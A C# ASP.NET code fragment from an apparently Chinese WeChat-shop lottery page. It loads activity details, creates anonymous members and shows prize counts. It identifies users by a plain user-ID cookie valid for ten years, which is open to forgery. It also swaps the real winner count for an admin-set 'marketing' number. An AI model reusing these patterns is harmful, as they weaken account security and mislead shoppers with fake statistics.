                DataTable homethinkProduct = ProductBrowser.GetHomeProduct(ClientType.VShop);
                this.rptThinkProducts.DataSource = homethinkProduct;
                this.rptThinkProducts.DataBind();
            }

            int userId = HiContext.Current.User.UserId;
            if (userId > 0 && this.rpthistorysearch != null)
            {
                this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6);
                this.rpthistorysearch.DataBind();
            }

        }
Beispiel #27
0
        protected override void AttachChildControls()
        {
            if (!int.TryParse(this.Page.Request.QueryString["activityid"], out this.activityid))
            {
                base.GotoResourceNotFound("");
            }
            //this.bgimg = (HtmlImage) this.FindControl("bgimg");
            this.litActivityDesc = (Literal)this.FindControl("litActivityDesc");
            //this.litStartDate = (Literal) this.FindControl("litStartDate");
            //this.litEndDate = (Literal) this.FindControl("litEndDate");
            this.litPrizeNames = (Common_PrizeNames)this.FindControl("litPrizeNames");
            this.litPrizeUsers = (Common_PrizeUsers)this.FindControl("litPrizeUsers");
            this.litSurplusNum = (Literal)this.FindControl("litSurplusNum");
            this.litNum        = (Literal)this.FindControl("litNum");
            this.litimage      = (Literal)this.FindControl("litimage");
            LotteryActivityInfo lotteryActivity = VshopBrowser.GetLotteryActivity(this.activityid);

            if (lotteryActivity == null)
            {
                base.GotoResourceNotFound("");
            }
            if (MemberProcessor.GetCurrentMember() == null)
            {
                MemberInfo member     = new MemberInfo();
                string     generateId = Globals.GetGenerateId();
                member.GradeId        = MemberProcessor.GetDefaultMemberGrade();
                member.UserName       = "";
                member.OpenId         = "";
                member.CreateDate     = DateTime.Now;
                member.SessionId      = generateId;
                member.SessionEndTime = DateTime.Now;
                MemberProcessor.CreateMember(member);
                member = MemberProcessor.GetMember(generateId);
                HttpCookie cookie = new HttpCookie("Vshop-Member")
                {
                    Value   = member.UserId.ToString(),
                    Expires = DateTime.Now.AddYears(10)
                };
                HttpContext.Current.Response.Cookies.Add(cookie);
            }
            PageTitle.AddSiteNameTitle(lotteryActivity.ActivityName);
            litimage.Text = Globals.HostPath(HttpContext.Current.Request.Url) + lotteryActivity.ActivityPic;
            //this.litStartDate.Text = lotteryActivity.StartTime.ToString("yyyy年MM月dd日 HH:mm:ss");
            //this.litEndDate.Text = lotteryActivity.EndTime.ToString("yyyy年MM月dd日 HH:mm:ss");
            //if (lotteryActivity.PrizeSettingList.Count > 3)
            //{
            //    this.bgimg.Src = Globals.GetVshopSkinPath(null) + "/images/process/panpic2.png";
            //}
            if ((lotteryActivity.StartTime < DateTime.Now) && (DateTime.Now < lotteryActivity.EndTime))
            {
                this.litActivityDesc.Text   = lotteryActivity.ActivityDesc;
                this.litPrizeNames.Activity = lotteryActivity;
                this.litPrizeUsers.Activity = lotteryActivity;
                int userPrizeCount = VshopBrowser.GetUserPrizeCount(this.activityid);
                this.litActivityDesc.Text = this.litActivityDesc.Text;
                //剩余次数提示
                this.litSurplusNum.Text = string.Format("您一共有{0}次参与机会,目前还剩<b class=\"sign\">{1}</b>次。", lotteryActivity.MaxNum, lotteryActivity.MaxNum - userPrizeCount);

                PrizeQuery page = new PrizeQuery
                {
                    ActivityId = this.activityid
                };
                System.Collections.Generic.List <PrizeRecordInfo> prizeList = VShopHelper.GetPrizeListEx(page);
                if (prizeList != null && prizeList.Count > 0)
                {
                    this.litNum.Text = prizeList.Count.ToString();
                }
                else
                {
                    this.litNum.Text = "0";
                }

                //前台JS刷的营销数据
                if (!string.IsNullOrEmpty(lotteryActivity.GradeIds))
                {
                    this.litNum.Text = lotteryActivity.GradeIds;
                }
            }
            else
            {
                this.Page.ClientScript.RegisterStartupScript(base.GetType(), "myscript", "<script>$(function(){alert_h(\"活动还未开始或者已经结束!\");});</script>");
            }
        }